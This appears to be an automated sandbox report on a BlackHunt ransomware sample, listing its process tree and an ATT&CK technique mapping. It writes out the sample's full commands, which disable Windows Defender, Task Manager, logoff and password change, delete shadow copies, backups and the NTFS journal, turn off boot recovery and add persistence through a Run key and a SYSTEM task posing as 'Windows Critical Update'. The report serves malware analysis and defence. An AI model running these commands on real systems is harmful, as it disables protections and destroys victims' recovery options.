"C:\Users\Admin\AppData\Local\Temp\f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3632
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:4436
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  PID:1532
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:3920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2036
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:3536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2224
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:4008
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:3904
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:5724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2204
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:5752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:3976
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:5744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:1840
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:5584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:4988
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:5716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:968
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:5684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:716
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:5608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:3868
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:5616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:1480
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:5592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2488
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:5908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2648
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:5856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:4308
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:5768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3172
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:5924
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4408
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:5916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:5072
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:6024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2416
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:6124
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2680
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:5728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1372
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:5956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1216
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:5772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:832
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2844
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:5724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe" /F
  2⤵
  PID:4024
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\f9384db1508d7a77ac7af9d1152b6493c8fac32fddf432e5490599e3d205f851.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:5836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:3064
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:6096
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4432
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4568
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:4016
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1784
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3160
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2056
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:5476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1064
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:4112
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:4380
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1548
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:4164
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:6072
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:4184
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:6100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1688
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:924

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5108

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5436

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:4656

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:4328

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery